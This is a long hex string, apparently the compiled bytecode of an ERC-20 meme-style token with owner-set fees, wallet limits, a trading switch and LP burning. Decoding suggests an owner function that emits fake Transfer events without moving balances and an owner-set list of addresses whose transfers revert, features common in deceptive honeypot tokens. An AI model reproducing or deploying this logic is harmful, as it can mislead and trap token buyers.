156107b757600080fd5b506107d260048036038101906107cd919061375c565b6116ea565b6040516107df91906137b7565b60405180910390f35b3480156107f457600080fd5b5061080f600480360381019061080a91906139fd565b611708565b005b34801561081d57600080fd5b50610838600480360381019061083391906139fd565b6117d0565b005b34801561084657600080fd5b50610861600480360381019061085c9190613baa565b61181c565b005b34801561086f57600080fd5b50610878611951565b005b34801561088657600080fd5b506108a1600480360381019061089c9190613bfd565b6119a3565b6040516108ae91906137e1565b60405180910390f35b3480156108c357600080fd5b506108de60048036038101906108d991906139fd565b611a2a565b6040516108ed93929190613c3d565b60405180910390f35b34801561090257600080fd5b5061090b611b23565b005b34801561091957600080fd5b50610922611b75565b60405161092f9190613b4f565b60405180910390f35b34801561094457600080fd5b5061095f600480360381019061095a91906139fd565b611b9b565b005b34801561096d57600080fd5b50610976611c1e565b60405161098896959493929190613c74565b60405180910390f35b34801561099d57600080fd5b506109a6611c4d565b6040516109b4929190613cd5565b60405180910390f35b3480156109c957600080fd5b506109e460048036038101906109df9190613b6a565b611c9e565b005b6060600380546109f590613d2d565b80601f0160208091040260200160405190810160405280929190818152602001828054610a2190613d2d565b8015610a6e5780601f10610a4357610100808354040283529160200191610a6e565b820191906000526020600020905b815481529060010190602001808311610a5157829003601f168201915b5050505050905090565b6000610a8c610a85611d4f565b8484611d57565b6001905092915050565b6000600254905090565b600b5481565b6000610ab3848484611f20565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610afe611d4f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610b7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7590613dd0565b60405180910390fd5b610b9285610b8a611d4f565b858403611d57565b60019150509392505050565b610ba6612b8c565b60005b83839050811015610c7557838382818110610bc757610bc6613df0565b5b9050602002016020810190610bdc91906139fd565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c5a91906137e1565b60405180910390a38080610c6d90613e4e565b915050610ba9565b50505050565b610c83612b8c565b6001601160036101000a81548160ff0219169083151502179055506000601160006101000a81548160ff021916908315150217905550427fb3da2db3dfc3778f99852546c6e9ab39ec253f9de7b0847afec61bd27878e92360405160405180910390a2565b600c5481565b601160029054906101000a900460ff1681565b60006009905090565b600080600080601160009054906101000a900460ff169350601160019054906101000a900460ff169250600e549150600f54905090919293565b6000610de6610d51611d4f565b848460016000610d5f611d4f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610de19190613e96565b611d57565b6001905092915050565b601160039054906101000a900460ff1681565b610e0b612b8c565b6005811015610e4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4690613f3c565b60405180910390fd5b6103e8610e5a610a96565b82610e659190613f5c565b610e6f9190613fcd565b600e819055507f12528a3c61e0f3b2d6fc707a9fc58b1af86e252cad0d7f4c154ebeabb162dace600e54604051610ea691906137e1565b60405180910390a150565b610eb9612b8c565b8160178190555080601881905550601854601754610ed79190613e96565b60168190555060646016541115610f23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1a90614070565b60405180910390fd5b7f38513c502b0ab4834ac1df9502b76f75dcf7092469782cfd0db7fe664388e25e601654601754601854604051610f5c93929190614090565b60405180910390a15050565b610f70612b8c565b6002811015610fb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fab90614113565b60405180910390fd5b6103e8610fbf610a96565b82610fca9190613f5c565b610fd49190613fcd565b600f819055507fff3dd5e80294197918c284bbfc3dadd97d0b40ce92106110946329088f80068a600f5460405161100b91906137e1565b60405180910390a150565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611066612b8c565b6110706000612c0a565b565b61107a612b8c565b6102588310156110bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b6906141a5565b60405180910390fd5b6103e882111580156110d2575060008210155b611111576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110890614237565b60405180910390fd5b82600c8190555081600b8190555080601160026101000a81548160ff021916908315150217905550505050565b611146612b8c565b60005b838390508110156111e55781601e600086868581811061116c5761116b613df0565b5b905060200201602081019061118191906139fd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806111dd90613e4e565b915050611149565b50505050565b6000806000600860159054906101000a900460ff1692506009549150600a549050909192565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000601e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6060600480546112a090613d2d565b80601f01602080910402602001604051908101604052809291908181526020018280546112cc90613d2d565b80156113195780601f106112ee57610100808354040283529160200191611319565b820191906000526020600020905b8154815290600101906020018083116112fc57829003601f168201915b5050505050905090565b61132b612b8c565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fb91dbdeaf34f885ccae2d8abc3967cb03c079b6af2c7944e3893fd29427d75e760405160405180910390a380601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6113f3612b8c565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611483576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147a906142c9565b60405180910390fd5b61148d8282612cd0565b5050565b611499612b8c565b80601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405161153691906137b7565b60405180910390a25050565b61154a612b8c565b81601481905550806015819055506015546014546115689190613e96565b601381905550606460135411156115b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ab9061435b565b60405180910390fd5b7fcb5f36df892836a2eaedc349de29a7581176990398ee185d16eaa8f6c1abd8f16013546014546015546040516115ed93929190614090565b60405180910390a15050565b60008060016000611608611d4f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156116c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116bc906143ed565b60405180910390fd5b6116d96116d0611d4f565b85858403611d57565b600191505092915050565b600d5481565b60006116fe6116f7611d4f565b8484611f20565b6001905092915050565b611710612b8c565b601160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8616c7a330e3cf61290821331585511f1e2778171e2b005fb5ec60cfe874dc6760405160405180910390a380601160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6117d8612b8c565b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611824612b8c565b6001821015611868576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185f9061447f565b60405180910390fd5b818110156118ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a290614511565b60405180910390fd5b82600860156101000a81548160ff021916908315150217905550612710826118d1610a96565b6118db9190613f5c565b6118e59190613fcd565b600981905550612710816118f7610a96565b6119019190613f5c565b61190b9190613fcd565b600a819055507f52cd2cdb42ff0eeec9362d7ed5b04f64c8d022697128b5378fc51cea7e63c77983838360405161194493929190613b09565b60405180910390a1505050565b611959612b8c565b6000601160006101000a81548160ff021916908315150217905550427ff4eaa75eae08ae80c3daf791438dac1cff2cfd3b0bad2304ec7bbb067e50261660405160405180910390a2565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000806000601b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169250601c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169150601d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1690509193909250565b611b2b612b8c565b6000601160016101000a81548160ff021916908315150217905550427f26e776fcf7ca20aa79b5b946e9b5111f47205539ece9d7a7995271dd6a8b5bad60405160405180910390a2565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611ba3612b8c565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611c12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c09906145a3565b60405180910390fd5b611c1b81612c0a565b50565b600080600080600080601654955060175494506018549350601354925060145491506015549050909192939495565b600080601160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16915091509091565b611ca6612b8c565b80601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f4b89c347592b1d537e066cb4ed98d87696ae35164745d7e370e4add16941dc9282604051611d4391906137b7565b60405180910390a25050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611dc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dbd90614635565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2c906146c7565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611f1391906137e1565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611f8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f8690614759565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611ffe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff5906147eb565b60405180910390fd5b600081036120175761201283836000612d71565b612b87565b601160009054906101000a900460ff16156126dc57612034611211565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156120a25750612072611211565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120db5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612115575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561212e5750600860149054906101000a900460ff16155b156126db57601160039054906101000a900460ff1661222857601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806121e85750601b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612227576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221e9061487d565b60405180910390fd5b5b601160019054906101000a900460ff16156123f257612245611211565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156122cc57507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156123265750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156123f15743601060003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106123ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123a390614935565b60405180910390fd5b43601060003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156124955750601c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561253c57600f548111156124df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124d6906149c7565b60405180910390fd5b600e546124eb83611016565b826124f69190613e96565b1115612537576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252e90614a33565b60405180910390fd5b6126da565b601d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156125df5750601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561262e57600f54811115612629576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161262090614ac5565b60405180910390fd5b6126d9565b601c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166126d857600e5461268b83611016565b826126969190613e96565b11156126d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126ce90614a33565b60405180910390fd5b5b5b5b5b5b60006126e730611016565b90506000600954821015905080801561270c5750600860159054906101000a900460ff165b80156127255750600860149054906101000a900460ff16155b801561277b5750601d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156127d15750601b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156128275750601b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561286b576001600860146101000a81548160ff02191690831515021790555061284f612ff0565b6000600860146101000a81548160ff0219169083151502179055505b6000600860149054906101000a900460ff16159050601b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806129215750601b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561292b57600090505b60008115612b3e57601d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561298e57506000601354115b15612a28576129bb60646129ad601354886131ae90919063ffffffff16565b6131c490919063ffffffff16565b9050601354601554826129ce9190613f5c565b6129d89190613fcd565b601a60008282546129e99190613e96565b9250508190555060135460145482612a019190613f5c565b612a0b9190613fcd565b60196000828254612a1c9190613e96565b92505081905550612b1a565b601d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612a8357506000601654115b15612b1957612ab06064612aa2601654886131ae90919063ffffffff16565b6131c490919063ffffffff16565b905060165460185482612ac39190613f5c565b612acd9190613fcd565b601a6000828254612ade9190613e96565b9250508190555060165460175482612af69190613f5c565b612b009190613fcd565b60196000828254612b119190613e96565b925050819055505b5b6000811115612b2f57612b2e873083612d71565b5b8085612b3b9190614ae5565b94505b600860149054906101000a900460ff16158015612b675750601160029054906101000a900460ff165b15612b7757612b75876131da565b505b612b82878787612d71565b505050505b505050565b612b94611d4f565b73ffffffffffffffffffffffffffffffffffffffff16612bb26132dd565b73ffffffffffffffffffffffffffffffffffffffff1614612c08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bff90614b65565b60405180910390fd5b565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612de0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dd790614759565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612e4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e46906147eb565b60405180910390fd5b612e5a8383836132f1565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612ee0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ed790614bf7565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612f739190613e96565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612fd791906137e1565b60405180910390a3612fea8484846132f6565b50505050565b6000612ffb30611016565b905060008190506000808303613013575050506131ac565b600a5483111561302357600a5492505b60008390506000479050613036826132fb565b600061304b824761353890919063ffffffff16565b9050600061307686613068601a54856131ae90919063ffffffff16565b6131c490919063ffffffff16565b905060006019819055506000601a81905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16816040516130ce90614c48565b60006040518083038185875af1925050503d806000811461310b576040519150601f19603f3d011682016040523d82523d6000602084013e613110565b606091505b505080955050601160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff164760405161315c90614c48565b60006040518083038185875af1925050503d8060008114613199576040519150601f19603f3d011682016040523d82523d6000602084013e61319e565b606091505b505080955050505050505050505b565b600081836131bc9190613f5c565b905092915050565b600081836131d29190613fcd565b905092915050565b6000803073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016132169190613b4f565b602060405180830381865afa158015613233573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132579190614c72565b90506000613270600b548361354e90919063ffffffff16565b9050601e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156132d257600081146132d157600080fd5b5b600192505050919050565b6000806132e8613564565b90508091505090565b505050565b505050565b6000600267ffffffffffffffff81111561331857613317614c9f565b5b6040519080825280602002602001820160405280156133465781602001602082028036833780820191505090505b509050308160008151811061335e5761335d613df0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613403573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906134279190614ce3565b8160018151811061343b5761343a613df0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506134a0307f000000000000000000000000000000000000000000000000000000000000000084611d57565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613502959493929190614e13565b600060405180830381600087803b15801561351c57600080fd5b505af1158015613530573d6000803e3d6000fd5b505050505050565b600081836135469190614ae5565b905092915050565b6000818361355c9190613e96565b905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146135e357600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613607565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600081519050919050565b600082825260208201905092915050565b60005b8381101561364657808201518184015260208101905061362b565b60008484015250505050565b6000601f19601f8301169050919050565b600061366e8261360c565b6136788185613617565b9350613688818560208601613628565b61369181613652565b840191505092915050565b600060208201905081810360008301526136b68184613663565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006136f3826136c8565b9050919050565b613703816136e8565b811461370e57600080fd5b50565b600081359050613720816136fa565b92915050565b6000819050919050565b61373981613726565b811461374457600080fd5b50565b60008135905061375681613730565b92915050565b60008060408385031215613773576137726136be565b5b600061378185828601613711565b925050602061379285828601613747565b9150509250929050565b60008115159050919050565b6137b18161379c565b82525050565b60006020820190506137cc60008301846137a8565b92915050565b6137db81613726565b82525050565b60006020820190506137f660008301846137d2565b92915050565b600080600060608486031215613815576138146136be565b5b600061382386828701613711565b935050602061383486828701613711565b925050604061384586828701613747565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126138745761387361384f565b5b8235905067ffffffffffffffff81111561389157613890613854565b5b6020830191508360208202830111156138ad576138ac613859565b5b9250929050565b6000806000604084860312156138cd576138cc6136be565b5b600084013567ffffffffffffffff8111156138eb576138ea6136c3565b5b6138f78682870161385e565b9350935050602061390a86828701613747565b9150509250925092565b600060ff82169050919050565b61392a81613914565b82525050565b60006020820190506139456000830184613921565b92915050565b600060808201905061396060008301876137a8565b61396d60208301866137a8565b61397a60408301856137d2565b61398760608301846137d2565b95945050505050565b6000602082840312156139a6576139a56136be565b5b60006139b484828501613747565b91505092915050565b600080604083850312156139d4576139d36136be565b5b60006139e285828601613747565b92505060206139f385828601613747565b9150509250929050565b600060208284031215613a1357613a126136be565b5b6000613a2184828501613711565b91505092915050565b613a338161379c565b8114613a3e57600080fd5b50565b600081359050613a5081613a2a565b92915050565b600080600060608486031215613a6f57613a6e6136be565b5b6000613a7d86828701613747565b9350506020613a8e86828701613747565b9250506040613a9f86828701613a41565b9150509250925092565b600080600060408486031215613ac257613ac16136be565b5b600084013567ffffffffffffffff811115613ae057613adf6136c3565b5b613aec8682870161385e565b93509350506020613aff86828701613a41565b9150509250925092565b6000606082019050613b1e60008301866137a8565b613b2b60208301856137d2565b613b3860408301846137d2565b949350505050565b613b49816136e8565b82525050565b6000602082019050613b646000830184613b40565b92915050565b60008060408385031215613b8157613b806136be565b5b6000613b8f85828601613711565b9250506020613ba085828601613a41565b9150509250929050565b600080600060608486031215613bc357613bc26136be565b5b6000613bd186828701613a41565b9350506020613be286828701613747565b9250506040613bf386828701613747565b9150509250925092565b60008060408385031215613c1457613c136136be565b5b6000613c2285828601613711565b9250506020613c3385828601613711565b9150509250929050565b6000606082019050613c5260008301866137a8565b613c5f60208301856137a8565b613c6c60408301846137a8565b949350505050565b600060c082019050613c8960008301896137d2565b613c9660208301886137d2565b613ca360408301876137d2565b613cb060608301866137d2565b613cbd60808301856137d2565b613cca60a08301846137d2565b979650505050505050565b6000604082019050613cea6000830185613b40565b613cf76020830184613b40565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680613d4557607f821691505b602082108103613d5857613d57613cfe565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000613dba602883613617565b9150613dc582613d5e565b604082019050919050565b60006020820190508181036000830152613de981613dad565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613e5982613726565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613e8b57613e8a613e1f565b5b600182019050919050565b6000613ea182613726565b9150613eac83613726565b9250828201905080821115613ec457613ec3613e1f565b5b92915050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000613f26602483613617565b9150613f3182613eca565b604082019050919050565b60006020820190508181036000830152613f5581613f19565b9050919050565b6000613f6782613726565b9150613f7283613726565b9250828202613f8081613726565b91508282048414831517613f9757613f96613e1f565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613fd882613726565b9150613fe383613726565b925082613ff357613ff2613f9e565b5b828204905092915050565b7f546f74616c20627579206665652063616e6e6f7420626520686967686572207460008201527f68616e2031303025000000000000000000000000000000000000000000000000602082015250565b600061405a602883613617565b915061406582613ffe565b604082019050919050565b600060208201905081810360008301526140898161404d565b9050919050565b60006060820190506140a560008301866137d2565b6140b260208301856137d2565b6140bf60408301846137d2565b949350505050565b7f43616e6e6f7420736574206d61785478206c6f776572207468616e20302e3225600082015250565b60006140fd602083613617565b9150614108826140c7565b602082019050919050565b6000602082019050818103600083015261412c816140f0565b9050919050565b7f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e20746860008201527f616e206576657279203130206d696e7574657300000000000000000000000000602082015250565b600061418f603383613617565b915061419a82614133565b604082019050919050565b600060208201905081810360008301526141be81614182565b9050919050565b7f4d75737420736574206175746f204c50206275726e2070657263656e7420626560008201527f747765656e20302520616e642031302500000000000000000000000000000000602082015250565b6000614221603083613617565b915061422c826141c5565b604082019050919050565b6000602082019050818103600083015261425081614214565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b60006142b3603983613617565b91506142be82614257565b604082019050919050565b600060208201905081810360008301526142e2816142a6565b9050919050565b7f546f74616c2073656c6c206665652063616e6e6f74206265206869676865722060008201527f7468616e20313030250000000000000000000000000000000000000000000000602082015250565b6000614345602983613617565b9150614350826142e9565b604082019050919050565b6000602082019050818103600083015261437481614338565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006143d7602583613617565b91506143e28261437b565b604082019050919050565b60006020820190508181036000830152614406816143ca565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e30312520746f74616c20737570706c792e000000000000000000000000602082015250565b6000614469603483613617565b91506144748261440d565b604082019050919050565b600060208201905081810360008301526144988161445c565b9050919050565b7f6d6178696d756d20616d6f756e742063616e742062652068696768657220746860008201527f616e206d696e696d756d00000000000000000000000000000000000000000000602082015250565b60006144fb602a83613617565b91506145068261449f565b604082019050919050565b6000602082019050818103600083015261452a816144ee565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061458d602683613617565b915061459882614531565b604082019050919050565b600060208201905081810360008301526145bc81614580565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061461f602483613617565b915061462a826145c3565b604082019050919050565b6000602082019050818103600083015261464e81614612565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006146b1602283613617565b91506146bc82614655565b604082019050919050565b600060208201905081810360008301526146e0816146a4565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614743602583613617565b915061474e826146e7565b604082019050919050565b6000602082019050818103600083015261477281614736565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006147d5602383613617565b91506147e082614779565b604082019050919050565b60006020820190508181036000830152614804816147c8565b9050919050565b7f5f7472616e736665723a3a2054726164696e67206973206e6f7420616374697660008201527f652e000000000000000000000000000000000000000000000000000000000000602082015250565b6000614867602283613617565b91506148728261480b565b604082019050919050565b600060208201905081810360008301526148968161485a565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b600061491f604983613617565b915061492a8261489d5